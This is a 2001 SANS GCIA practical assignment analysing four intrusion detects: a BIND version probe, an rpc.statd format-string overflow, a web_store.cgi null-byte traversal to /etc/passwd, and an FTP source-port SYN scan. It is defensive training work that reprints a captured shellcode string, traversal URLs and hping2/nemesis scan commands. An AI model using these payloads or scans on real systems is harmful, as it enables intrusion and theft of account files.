GCIA Practical Assignment

SANS DARLING HARBOUR
2001

Roy Naldo

Table of Content:

ASSIGNMENT #1

" Five detects with analysis "

```
Apr 13 11:48:25 209.126.168.231:4504 -> a.b.c.114:53 SYN ******S*
Apr 13 11:48:25 209.126.168.231:4597 -> a.b.c.207:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:4420 -> a.b.c.30:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:4441 -> a.b.c.51:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:4461 -> a.b.c.71:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:4472 -> a.b.c.82:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:4557 -> a.b.c.167:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:1388 -> a.b.c.225:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:1107 -> a.b.c.225:53 UDP
Apr 13 11:48:28 209.126.168.231:1407 -> a.b.c.244:53 SYN ******S*
Apr 13 11:48:31 209.126.168.231:1528 -> a.b.d.52:53 SYN ******S*
Apr 13 11:48:31 209.126.168.231:1678 -> a.b.d.202:53 SYN ******S*
Apr 13 11:48:31 209.126.168.231:1928 -> a.b.e.195:53 SYN ******S*
Apr 13 11:48:31 209.126.168.231:1947 -> a.b.e.214:53 SYN ******S*
Apr 13 11:48:32 209.126.168.231:1952 -> a.b.e.219:53 SYN ******S*
Apr 13 11:48:35 209.126.168.231:1971 -> a.b.e.238:53 SYN ******S*
Apr 13 11:48:37 209.126.168.231:2938 -> a.b.f.145:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:2941 -> a.b.f.148:53 SYN ******S*
Apr 13 11:48:37 209.126.168.231:2942 -> a.b.f.149:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:2947 -> a.b.f.154:53 SYN ******S*
Apr 13 11:48:37 209.126.168.231:2957 -> a.b.f.164:53 SYN ******S*
Apr 13 11:48:37 209.126.168.231:2959 -> a.b.f.166:53 SYN ******S*
Apr 13 11:48:37 209.126.168.231:2974 -> a.b.f.181:53 SYN ******S*
Apr 13 11:48:37 209.126.168.231:2976 -> a.b.f.183:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:2985 -> a.b.f.192:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:3041 -> a.b.f.246:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:1713 -> a.b.d.237:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:1947 -> a.b.e.214:53 SYN ******S*
Apr 13 11:48:41 209.126.168.231:1971 -> a.b.e.238:53 SYN ******S*
Apr 13 11:48:41 209.126.168.231:2340 -> a.b.f.18:53 SYN ******S*

Apr 13 11:48:28 hostka named [17373]: security: notice: denied query from
 [209.126.168.231]. 1107 for "version. Bind"
Apr 13 11:47:52 hosth /kernel: Connection attempt to TCP a.b.c.62:53 from
 209.126.168.231:4452
Apr 13 11:48:28 hostka named[17373]: security: notice: denied query from
  [209.126.168.231]. 1107 for "version. Bind"
Apr 13 11:48:54 hostmf /kernel: Connection attempt to TCP a.b.f.167:53 from
  209.126.168.231:2960
Apr 13 11:48:28 hostka snort: DNS named version attempt: 209.126.168.231:1107
  -> a.b.c.225:53
```

```
Apr 13 11:48:28 hostka snort: DNS named version attempt: 209.126.168.231:1107
  -> a.b.c.225:53
```

1. Source of Trace:

The source of trace is from http://www.sans.org/y2k/042401.htm

2. Detect was generated by:

It seemed that SNORT preprocessor generated the first set of the traces. The formats are as follows:

Apr {Month} **13** {Day} **11:48:41** {Time} **209.126.168.231** {Source-IP} **: 2340** {Source-Port} **-> a.b.f.18** {Destination-IP} **: 53** {Destination-Port} **SYN ******S*** {TCP-Flags}

The snort preprocessor that might be used to generate this event is:

Preprocessor portscan: $EXTERNAL_NET 4 3 /var/log/portscan.log

The snort preprocessors above is explained as follows:

preprocessor <name>:<options>
preprocessor portscan{name}**: $EXTERNAL_NET**{network to monitor} **4**{number of ports accessed in the detection period} **3**{number of seconds to count that the port access threshold is considered for} **/var/log/portscan.log**{log directory/filename}

The second set of traces seemed to be generated by the system log.

Apr {Month} **13** {Day} **11:47:52** {Time} **hosth /kernel** {name of service/daemon}**: Connection attempt to TCP a.b.c.62:53 from 209.126.168.231:4452** {messages}

The snort rules that can be used to detect this event is:

```
alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named version attempt"; content:
"|07|version|04|bind"; nocase; offset: 12; depth: 26; reference:arachnids,278;)
```

Snort rules format are divided into two sections, the rule header and the rule options. The rule header contains:

> **Alert**{action} **udp**{protocol} **$EXTERNAL_NET**{source address} **any** {source port}**-> $HOME_NET**{destination address} **53**{destination port}

$EXTERNAL_NET and $HOME_NET are variables, which should be defined previously. The format to define a variable in snort is:

```
var HOME_NET 192.168.1.0/24
```

The rule options contains:

(msg:"DNS named version attempt"{alert message}**; content: "|07|version|04|bind"**{pattern in packet's payload} **; nocase**{case insensitivity}**; offset: 12**{offset to begin a pattern match}**; depth: 26**{maximum search depth for pattern matching}**; reference:arachnids,278**{reference to a database}**;)**

3. Probability the source address was spoofed:

The probability the source address was spoofed is very low, because the Attacker needs to receive the reply from this attack, which he or she will never get if the source address was spoofed.

4. Description of attack:

This is not the real attack itself. It is a probing attempt, trying to find out the version of bind running on a target server. The attacker will usually launch an appropriate attack after knowing the version of bind running on victim server. The tool that might be used to send a query for bind version is " DIG ". It is a tool that ships with almost every BIND package. It has the ability to construct test queries against a DNS server.

5. Attack Mechanism:

The trace above that was generated by snort was a stimulus. It seemed that the attacker was doing a reconnaissance by scanning a range of IP address to find any listening port 53, which is a DNS port. This probing attack is done by sending a TCP packet with the SYN flag bits on, and waits to see if there is any reply from this stimulus. Any listening DNS port receiving such stimulus packets will reply with a TCP packet with ACK and SYN flag set. By receiving this packet, the attacker will know that there is a listening DNS port on the remote host. After found a listening DNS port, the attacker then sent a DNS " version.bind " query packet. That is shown by the traces below:

```
Apr 13 11:48:28 209.126.168.231:4557 -> a.b.c.167:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:1388 -> a.b.c.225:53 SYN ******S*
Apr 13 11:48:28 209.126.168.231:1107 -> a.b.c.225:53 UDP
Apr 13 11:48:28 209.126.168.231:1407 -> a.b.c.244:53 SYN ******S*
Apr 13 11:48:31 209.126.168.231:1528 -> a.b.d.52:53 SYN ******S*
```

This query packet made the system log generated this log:

```
Apr 13 11:48:28 hostka named [17373]: security: notice: denied query from
 [209.126.168.231]. 1107 for "version. Bind"
```

It seemed that this attacker was trying to find out what version of bind is currently running. There are lots of vulnerabilities regarding various version of BIND.

The command format to send a DNS " version.bind" query, using DIG is:

```
dig  @hostname version.bind txt chaos
```

Hostname is the victim DNS server address.

This trace was not the real attack itself, but more like a reconnaissance attempt. Once an Attacker knows what version of BIND is running on a target machine, their next step usually will be to break the target machine using the appropriate exploit script.

6. Correlations:

Tadaaki Nagao has detected similar traces aiming at his corporate DNS server.
http://www.sans.org/y2k/practical/Tadaaki_Nagao.html

7. Evidence of active targeting:

There is no evidence of active targeting from this trace, but obviously the attacker was targeting port 53/DNS. The Attacker was scanning a wide range of IP address for any DNS port listening and then will send a " version.bind "query to any found DNS server, and then usually launch an appropriate attack based on the version of BIND running on the target server.

8. Severity:

Criticality = 5
I choose this value, because the attacker was attacking a DNS server.
Lethality = 2
It was not the attack itself, but a probing attempt. There are so many exploits regarding BIND, which will allow a remote attacker to gain a root access.
System countermeasure = 5
The DNS server is immune to this kind of query. The DNS server rejected the version query sent by the attacker.
Network countermeasure = 3
It seemed that an IDS was running and DNS traffic are allowed.

Severity = (Criticality + Lethality) - (System + Network Countermeasures)

= (5 + 2) – (5 + 3)
= 1

9. Defensive recommendation:

It will be harder for the attacker to launch the real attack if doesn't know exactly what version of BIND is currently running on the target machine. That's why I will give a recommendation to prevent such information to the hand of the Attacker. This could be done by editing the BIND configuration file which is " /etc/named.conf " by default, and put this string below:

```
options {
version " string you want to appear as ";
//...
        }
//...
```

10. Multiple choice test question:

Which traces below most possibly show an attempt to query BIND version ? :

A.
```
07:49:44.979199 scanner.some.where.4625 > server04.mynet.dom.98:S1039564601:1039564601(0) win 32120
<mss1460,sackOK,timestamp 22128628 0,nop,wscale 0> (DF) (ttl 48, id 5309)
07:49:44.981073 server04.mynet.dom.98 > scanner.some.where.4625: R 0:0(0) ack 1039564602 win 0 (ttl64, id
54507)
07:49:44.982195 scanner.some.where.4638 > server17.mynet.dom.98: S 1039486469:1039486469(0) win 32120
<mss 1460,sackOK,timestamp 22128628 0,nop,wscale 0> (DF) (ttl 48, id 5322)
07:49:44.982398 server17.mynet.dom.98 > scanner.some.where.4638: R 0:0(0) ack 1039486470 win 0 (ttl 64, id
26796)
07:49:44.984002 scanner.some.where.4642 > gate.mynet.dom.98: S 1041854633:1041854633(0)
win32120<mss1460,sackOK,timestamp 22128628 0,nop,wscale 0> (DF) (ttl 48, id 5326)
07:49:44.984375 gate.mynet.dom.98 > scanner.some.where.4642: R 0:0(0) ack 1041854634 win 0 (ttl 64, id
23814)
07:49:44.986208 scanner.some.where.4651 > fw03.mynet.dom.98: S 1036765744:1036765744(0)
win32120<mss1460,sackOK,timestamp 22128628 0,nop,wscale 0> (DF) (ttl 48, id 5335)
```

B.
```
Apr 13 11:48:28 209.126.168.231:1107 -> a.b.c.225:53 UDP
```

C.
```
22:26:17.097466 SCANNER.OTHER.NET.1200 > DNS_SERVER.MY.NET.domain: S 1986249733:1986249733(0)
win
16384  (DF) (ttl 64, id 48363)
22:26:17.099362 DNS_SERVER.MY.NET.domain > SCANNER.OTHER.NET.1200: S 2376979313:2376979313(0)
ack
1986249734 win 17520  (ttl 64, id 56245)
```

```
22:26:17.099770 SCANNER.OTHER.NET.1200 > DNS_SERVER.MY.NET.domain: . ack 1 win 17520 (DF) (ttl 64, id
48364)
22:26:17.100400 SCANNER.OTHER.NET.1200 > DNS_SERVER.MY.NET.domain: P 1:3(2) ack 1 win 17520 (DF) (ttl
64,
id 48365)
22:26:17.102376 DNS_SERVER.MY.NET.domain > SCANNER.OTHER.NET.1200: . ack 3  win 17520 (ttl 64, id
56432)
22:26:17.102669 SCANNER.OTHER.NET.1200 > DNS_SERVER.MY.NET.domain: P 3:30(27) ack 1 win 17520 (DF)
(ttl
64, id 48366)
22:26:17.104083 DNS_SERVER.MY.NET.domain > SCANNER.OTHER.NET.1200: . ack 30 win 17520 (ttl 64, id
52126)
22:26:17.183542 DNS_SERVER.MY.NET.domain > SCANNER.OTHER.NET.1200: . 1:1461(1460) ack 30 win 17520
(ttl
64, id 62659)
22:26:17.184045 DNS_SERVER.MY.NET.domain > SCANNER.OTHER.NET.1200: P 1461:2049(588) ack 30 win
17520
(ttl 64, id 37419)
22:26:17.184943 DNS_SERVER.MY.NET.domain > SCANNER.OTHER.NET.1200: FP 2049:2342(293)ack 30 win
17520
(ttl 64, id 34864)
22:26:17.185066 SCANNER.OTHER.NET.1200 > DNS_SERVER.MY.NET.domain: . ack 2343 win 15282 (DF) (ttl 64,
id
48368)
22:26:17.211787 SCANNER.OTHER.NET.1200 > DNS_SERVER.MY.NET.domain: F 30:30(0) ack 2343 win 17520
(DF) (ttl 64, id 48369)
22:26:17.213217 DNS_SERVER.MY.NET.domain > SCANNER.OTHER.NET.1200: . ack 31 win 17520 (ttl 64, id
60072)
```

D.
```
Apr 13 11:48:37 209.126.168.231:2974 -> a.b.f.181:53 SYN ******S*
Apr 13 11:48:37 209.126.168.231:2976 -> a.b.f.183:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:2985 -> a.b.f.192:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:3041 -> a.b.f.246:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:1713 -> a.b.d.237:53 SYN ******S*
Apr 13 11:48:40 209.126.168.231:1947 -> a.b.e.214:53 SYN ******S*
Apr 13 11:48:41 209.126.168.231:1971 -> a.b.e.238:53 SYN ******S*
Apr 13 11:48:41 209.126.168.231:2340 -> a.b.f.18:53 SYN ******S*
```

Answer: B.

BIND version query used UDP as the transport protocol, only option “ b” that shows UDP traffic.

```
[**] RPC portmap listing [**]
05/04-10:52:08.569026 202.39.225.211:610 -> my.corporate.network.10:111
TCP TTL:64 TOS:0x0 ID:889 IpLen:20 DgmLen:96 DF
***AP*** Seq: 0x9CAB5C30  Ack: 0x676BF853  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 330813 32654

[**] RPC portmap request rstatd [**]
05/04-10:53:19.021325 202.39.225.211:612 -> my.corporate.network.10:111
UDP TTL:64 TOS:0x0 ID:895 IpLen:20 DgmLen:84
Len: 64


May  4 03:53:19 localhost rpc.statd[390]: gethostbyname error for
^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿%8x%8x%8x%8x%8x%8x%8x%8x%8
x%236x%n%137x%n%10x%n%192x%n
```

1Àë|Y‰A^P‰A^HþÀ‰A^D‰ÃþÀ‰^A°fÍ€³^B
‰Y^LÆA^N™ÆA^H^P‰I^D€A^D^Lˆ^A°fÍ€³^D°fÍ€³^E0ÀˆA^D°fÍ€‰ÎˆÃ1É°?Í

1. Source of Trace:

I found a strange log from my corporate web server machine's syslog. It seemed that an Attacker was sending an unusual request to rpc.statd service. Then I try to find more evidence regarding this event from the snort traces, and I came up with two snort alerts regarding portmap on the same day.

2. Detect was generated by:

The traces above were generated by SNORT intrusion detection system. The formats are as follow:

[**] RPC portmap listing [**]{Messages}
05/04 {Date}**-10:52:08.569026**{Time} **202.39.225.211** {Source-address}**:610**{Source-port} **->**
my.corporate.network.10{Destination-address}**:111**{Destination port}
TCP{Transport protocol} **TTL:64**{Time to live} **TOS:0x0**{Type of service} **ID:889** { IP id } **IpLen:20** {IP header length} **DgmLen:96**{Datagram lengh} **DF** {don't fragment bit}
*****AP***** {TCP flag} **Seq: 0x9CAB5C30**{TCP sequence number**}** **Ack: 0x676BF853**{acknowledgment number} **Win: 0x7D78** {Windows size} **TcpLen: 32** { TCP length} **TCP Options (3) => NOP NOP**
{no option}

The format of the system log shown by the above traces is as follows:

May {Month} **4** {Day} **03:53:19**{Time} **localhost rpc.statd[390]** {Name of service/daemon}:
gethostbyname error for
^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿%8x%8x%8x%8x%8x%8x%8x%8x%8x%236
x%n%137x%n%10x%n%192x%n

1Àë|Y‰A^P‰A^HþÀ‰A^D‰ÃþÀ‰^A°fÍ€³^B‰Y^LÆA^N ™ÆA^H^P‰I^D€A^D^Lˆ^A°fÍ€³^D°fÍ€³^E0Àˆ^A^D°fÍ€‰Îˆ̃Ã1É°?Í {Messages}

The snort rules that generated this event are:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 111,32771 (msg:"RPC portmap listing"; flags: A+; rpc:
100000,*,*;reference:arachnids,429;)

alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap request rstatd"; content: "|01
86 A0 00 00|"; reference:arachnids,10;)
```

Snort rules format are divided into two sections, the rule header and the rule options. The rule header contains:

Alert{action} **udp**{protocol} **$EXTERNAL_NET**{source IP}**any**{source port} **-> $HOME_NET**{destination IP}**111**{destination port}

$EXTERNAL_NET and $HOME_NET are variables, which should be defined previously. The format to define a variable in snort is:

var HOME_NET 192.168.1.0/24

The rule options contains:

(msg:"RPC portmap request rstatd"{alert messages}**; content: "|01 86 A0 00 00|"**{pattern in the packet's payload}**;reference:arachnids,10**{reference to a database}**;)**

3. Probability the source address was spoofed:

The probability is low when the attacker was trying to list the RPC services on a portmap port. Because the attacker will have to receive the reply to determine any listening RPC services, which he or she will not get if the source address was spoofed.

The probability is medium when the attacker was trying to send a request to rpc.statd service. Because that will depend on the attacker's needs. This unusual request must have something to do with the attacker's needs in compromising the host. For example, the attacker might send an arbitrary command to send the "/etc/passwd" file via mail or ftp, or the attacker might install a rootkit / Trojan horse so that he or she can come back any time to the compromised host.

From the above traces, it seemed that the attacker was using the same address to list the RPC services and send a query. So in this case, probability the source address was spoofed is low.

4. Description of attack:

This attack was against RPC services, statd. It seemed that this attacker was sending an unusual request to rpc.statd service. This unusual request might be any arbitrary command the attacker want to execute on target machine, which is mostly done by overflowing the memory buffer.

There are several CVE entries regarding rpc.statd:

CVE-1999-0018,
CVE-1999-0019,
CVE-1999-0493,
CVE-2000-0666.

5. Attack Mechanism:

Before sending such unusual request, it seemed that the attacker have sent a query to portmap service to find out which port number statd daemon was listening. The attacker might use "rpcinfo" command to query the remote server for any listening RPC services.

```
Unix#rpcinfo –p target.host
```

When receiving a query sent by command format above, a target machine with a listening port 111 (portmap) will reply with information regarding all the available RPC services running on this machine, including the listening port, protocol, version, and program number.

Using this information, an attacker can send a query for a specific RPC services like STATD. For example the reply from the above rpcinfo command format tell the attacker that it has a statd services running on UDP port 889 version 1 with program number 100024. Then the attacker will send another query to confirm a running statd services on target machine using this command format below:

```
Unix#rpcinfo –n 889 –u target.host 100024
```

Then the target machine will reply:

```
Program 100024 version 1 ready and waiting
```

I don't know for sure which exploits code the attacker was using, but from the above traces it seemed that the attacker was sending a request or high possibly an arbitrary command that he or she expect to execute on the target machine which is a web server by overflowing the target machine's memory buffer. Some of the known exploits codes are "statdx.c", " statd-toy.c", " rpc-statd-xpl.c", and "rpc.statd.x86.c". Most of them are remote root buffer overflow exploits, which will let the Attacker to gain a shell prompt with root privileges when succeeded.

There is something wrong with the time that generated those traces above. The time that generated the snort alert “ RPC portmap request rstatd “ should be the same time that generated the syslog rpc.statd alert message. But I didn’t find any syslog rpc.statd alert that has the same time with snort “ RPC portmap request rstatd “ alert. And I didn’t find any snort “RPC portmap request rstatd” alert that has the same time with syslog rpc.statd alert either. So it seemed that the exploit code used by this attacker has change the log time generated by one or both of the traces log that was trying to log this attack.

6. Correlations:

Markus DeShon and George Bakos have detected similar portmap request traces in their practical assignment.
http://www.sans.org/y2k/practical/George_Bakos.html#d1
http://www.sans.org/y2k/practical/Markus_DeShon.html

7. Evidence of active targeting:

Yes. The attacker will have to do a several reconnaissance steps before sending such unusual request. From the above traces, it seemed that the attacker have already done that steps and currently was actively targeting my corporate server.

8. Severity:

Criticality = 4
I choose this value, because the attacker was targeting a web server.
Lethality = 5
Most of the attack regarding rpc.statd will give a root access if succeeded.
System countermeasure = 5
I have the latest patches installed on the target machine, and this machine is considered modern..
Network countermeasure = 2
IDS is running, but obviously the request has reached the target machine.

Severity = (Criticality + Lethality) - (System + Network Countermeasures)

= (4 + 5) – (5 + 2)
= 2

9. Defensive recommendation:

After finding this attack trace in my syslog, the next step I do is determined whether this machine has been compromise or not. CERT has a good guidance to check and recover from system compromise, which is available at:

http://www.cert.org/tech_tips/root_compromise.html

The portmapper service should be turned off unless really needed. It is necessary to install TCP wrappers or IPchains on a Unix machine with portmap services enabled and make sure that the latest specific vendor patches were installed.

10. Multiple choice test question:

```
May  4 03:53:19 localhost rpc.statd[390]: gethostbyname error for
^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿%8x%8x%8x%8x%8x%8x%8x%8x%8
x%236x%n%137x%n%10x%n%192x%n









                                        1Àë|Y‰A^P‰A^HþÀ‰A^D‰ÃþÀ‰^A°fÍ€³^B
‰Y^LÆA^N™ÆA^H^P‰I^D€A^D^Lˆ^A°fÍ€³^D°fÍ€³^E0ÀˆA^D°fÍ€‰ÎˆÃ1É°?Í
```

Which explanation below describes the above traces? :

a. Denial of Service against rpc.statd service
b. Buffer overflow against rpc.statd service
c. Unauthorized login attempt
d. Unauthorized port request

Answer: b. This is a remote root buffer overflow exploits against statd service.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

[**]spp_http_decode:CGI Null Byte attack detected [**]
03/07-14:45:20.564474 202.150.3.141:1156 -> my.corporate.network.10:80
TCP TTL:64 TOS:0x0 ID:1368 IpLen:20 DgmLen:131 DF
***AP*** Seq: 0xE4F0B9B1   Ack: 0xA6E117BE   Win: 0x7E00   TcpLen: 20  TCP
Options (3) => NOP NOP
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 57 65 62  GET /cgi-bin/Web
5F 53 74 6F 72 65 2F 77 65 62 5F 73 74 6F 72 65  _Store/web_store
2E 63 67 69 3F 70 61 67 65 3D 2E 2E 2F 2E 2E 2F  .cgi?page=../../
2E 2E 2F 2E 2E 2F 2E 2E 2F 2E 2E 2F 65 74 63 2F  ../../../../etc/
70 61 73 73 77 64 25 30 30 2E 68 74 6D 6C 20 48  passwd%00.html H
54 54 50 2F 31 2E 30 0D 0A 0D                    TTP/1.0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

1. **Source of Trace:**

The above trace was from my corporate Network.

2. **Detect was generated by:**

The above traces were generated by snort. The format are explained below:

[**]spp_http_decode: CGI Null Byte attack detected [**]{message}
03/07{date}**-14:45:20.564474**{time} **202.150.3.141**{source address}**:1156**{source port} **->**
my.corporate.network.10{destination address}**:80**{destination port}
TCP{protocol} **TTL:64**{IP time to live} **TOS:0x0**{IP type of service} **ID:1368**{IP ID} **IpLen:20**{IP length}
DgmLen:131{datagram length} **DF**{TCP don't fragment bit}
*****AP*****{TCP flag} **Seq: 0xE4F0B9B1**{TCP sequence number} **Ack: 0xA6E117BE**{TCP acknowledgment number} **Win: 0x7E00**{windows size} **TcpLen: 20**{TCP length} **TCP Options (3) => NOP NOP**{no options}

Firstly I search the snort rules that I applied in this event, but can't find any string related to " CGI Null Byte attack detected". It's quite confusing me. Then I search through the snort official website (http://www.snort.org) try to figure out which rules actually has generated this alerts. I found the answer from the snort FAQ (http://www.snort.org/faq.html). It was part of the snort http preprocessor. Basically, if the http decoding routing finds a %00 in an http request, it will alert with this message.

3. **Probability the source address was spoofed:**

The probability is low, because the attacker need to know the response from this attack by receiving the " /etc/passwd " password file through the reply from this attack request which he or she will never receive if the source address was spoofed.

4. **Description of attack:**

This is a cgi-null byte attack against port 80/www, which attempt to obtain the " /etc/passwd " file on a web server running on a Unix machine.

Cgi script that is known vulnerable to this kind of exploits is "web_store.cgi".

There is 1 CVE entries found regarding this attack, `CVE-2000-1005`

5. **Attack Mechanism:**

This is an attack against TCP port 80/www with a running web_store application. This attack was a stimulus that looks similar to a web request. Web_store is a web application developed by eXtropia http://www.extropia.com/. Web_store.cgi is one the scripts provided in Web_store web application. This cgi scripts has been reported doesn't handle the $file_extension variable properly, if null characters are used.

For example if the following URL was requested, the file in question would not be delivered to the user:

http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/filename.ext

However, by using the escaped character "%00", the requested file would be accessed successfully:

http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/filename%00ext

This http request was trying to gain read access to known files outside of the root directory where a particular perl based cgi scripts resides. Requesting a specially crafted URL composed of '%00' sequences along with the known filename will disclose the requested file. This attack is trying to read the "/etc/passwd " file on a Unix system. It is the kind of exploits, which give attackers a valuable information about the valid user account on the system. This information can lead the attackers for a further attack to compromise the system.

6. Correlations:

There is a detect posted at GIAC website reported on April 03,2001 regarding CGI Null byte attack
http://www.sans.org/y2k/040301-1300.htm

Marc Bayerkohler has detected several attempts using cgi-scripts to list the "/etc/passwd" file on his personal web server.
http://www.sans.org/y2k/practical/Marc_Bayerkohler_GCIA.html

7. Evidence of active targeting:

Yes, trying to find out the valid user account, this attacker seemed to try to compromise my corporate web server.

8. Severity:

Criticality = 4
I choose this value, because the attacker was attacking a web server.
Lethality = 3
If the attack was successful, the attacker will know the valid user account on the target machine, which will make the attacker easier to launch a further attack like brute force attack.
System countermeasure = 5
The exploit cgi script used for this attack doesn't exist. It seemed that the attacker was guessing any possible exploitable cgi-scripts reside on my corporate Web Server.
Network countermeasure = 2

A packet-filtering device and access list are applied. But HTTP traffic is allowed from outside to inside and there is no content scanning ability on the filtering device to block such attack.

Severity = (Criticality + Lethality) - (System + Network Countermeasures)

= (4 + 3) – (5 + 2)
= 0

9. Defensive recommendation:

If the exploit cgi scripts used for this attack are exist, make sure that the latest version was installed. The current latest version is WebStore(version 2.0).

10. Multiple choice test question:

Which http request format below will let the sender to read any file on a machine running an exploitable version of web_store ?

a. http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/%00filename.ext
b. http://target/cgi-bin/Web_Store/web_store.cgi?page=%00../../../path/filename.ext
c. http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../%00path/filename.ext
d. http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/filename%00.ext

Answer: d, the null characters should be placed after the filename.

```
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.9:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.27:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.30:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.33:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.43:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.127:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.143:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.166:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.167:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.169:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.192:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.195:21 SYN ******S*
Apr 14 22:17:54 210.52.214.15:21 -> a.b.c.207:21 SYN ******S*
Apr 14 22:17:57 210.52.214.15:1296 -> a.b.c.225:21 SYN ******S*
Apr 14 22:17:55 210.52.214.15:21 -> a.b.d.52:21 SYN ******S*
Apr 14 22:17:55 210.52.214.15:21 -> a.b.c.244:21 SYN ******S*
Apr 14 22:17:57 210.52.214.15:21 -> a.b.f.149:21 SYN ******S*
Apr 14 22:17:57 210.52.214.15:21 -> a.b.f.164:21 SYN ******S*
Apr 14 22:17:57 210.52.214.15:21 -> a.b.f.166:21 SYN ******S*
Apr 14 22:17:57 210.52.214.15:21 -> a.b.f.181:21 SYN ******S*
Apr 14 22:17:57 210.52.214.15:21 -> a.b.f.190:21 SYN ******S*
```

1. Source of Trace:

The traces above are from http://www.sans.org/y2k/042401.htm

2. Detect was generated by:

The above traces seemed to be generated by Snort preprocessors. The format is as follows:

Apr {Month} **14** {Day} **22:17:54** {Time} **210.52.214.15** {Source-address}**:21** {source-port} **-> a.b.c.9** {Destination-IP}**:21** {Destination-port} **SYN ******S*** {TCP Flag}

The snort preprocessors might used to generate this event is:

Preprocessor portscan: $EXTERNAL_NET 4 3 /var/log/portscan.log

The snort preprocessors above is explained as follows:

preprocessor <name>:<options>
preprocessor portscan{name}**: $EXTERNAL_NET**{network to monitor} **4**{number of ports accessed in the detection period} **3**{number of seconds to count that the port access threshold is considered for} **/var/log/portscan.log**{log directory/filename}

3. Probability the source address was spoofed:

The Attacker will need to receive the reply to determine whether the attack was successful or not, which he or she will not get if the source address was spoofed. One of the traces above show the attacker is using an ephemeral port as the source port, which is normal in TCP traffic. The trace is as follows:

Apr 14 22:17:57 210.52.214.15:1296 -> a.b.c.225:21 SYN ******S*

It seemed that once a reply was received, the attacker then tries to establish a connection. So probability the source address was spoofed is very low.

4. Description of attack:

This is a SYN scan using a non-ephemeral port 21 as source address against port 21/FTP. This trace will not occur in a normal TCP traffic. This is an evidence of packet crafting activity. There are several freely available packet-crafting tools with the ability to generate such traffic. Two of the famous are HPING2 and NEMESIS.

5. Attack Mechanism:

The attacker was sending a stimulus packet for reconnaissance by scanning a range of addresses for any live hosts with a listening FTP port by sending a TCP packet with SYN flag set. Any host with a listening ftp port shall response with a TCP packet with SYN and ACK flag set. By receiving this response, the sender will be assured that the replying host has an ftp daemon running. There is an evidence of packet crafting tools here. The Attacker was using a source port 21, which will never occurred in a normal FTP traffic. This kind of activity usually was trying to elude a packet-filtering device, that allowing ftp connection from the inside to the outside and have an ftp server that doesn't allow to be accessed from the outside. A Packet filtering device with such a rule, usually will allow outgoing traffic with destination port 21, and incoming traffic with source port 21 to allow ftp connection from the inside to the outside.

The Attacker might use the command formats like this:

```
./hping2 -s 21 -p 21 -S target-machine

      -s    →    source port
      -p    →    destination port
      -S    →    TCP SYN flag


./nemesis-tcp -v -fS -x 21 -S source-address -D target-machine -y 21

      -v    →    verbose mode
      -fS   →    TCP SYN flag
      -S    →    Source IP address
      -D    →    Target IP address
      -x    →    source port
      -y    →    destination port
```

6. Correlations:

CERT has documented a paper regarding ftp port attacks which is available at:
http://www.cert.org/tech_tips/ftp_port_attacks.html

7. Evidence of active targeting:

There was no evidence of active targeting here, but the attacker was targeting port 21/FTP. The Attacker simply scans a range of IP address, and usually will launch a further attack to any appropriate hosts found.

8. Severity:

Criticality = 4
I choose this value, because the attacker was trying to look for ftp server.
Lethality = 2
This was not the attack itself. It was a probing attempt. But once an appropriate ftp server was found, the attacker will usually launch an appropriate exploit attack against any ftp server found.
System countermeasure = 5
I assume that the FTP server inside the network is already installed with the latest patches
Network countermeasure = 3
I give this value because I assume that a filtering device like router or firewall was installed, but this filtering device is allowing FTP traffic from the inside to the outside.

Severity = (Criticality + Lethality) - (System + Network Countermeasures)

= (4 + 2) – (5 + 3)
= - 2

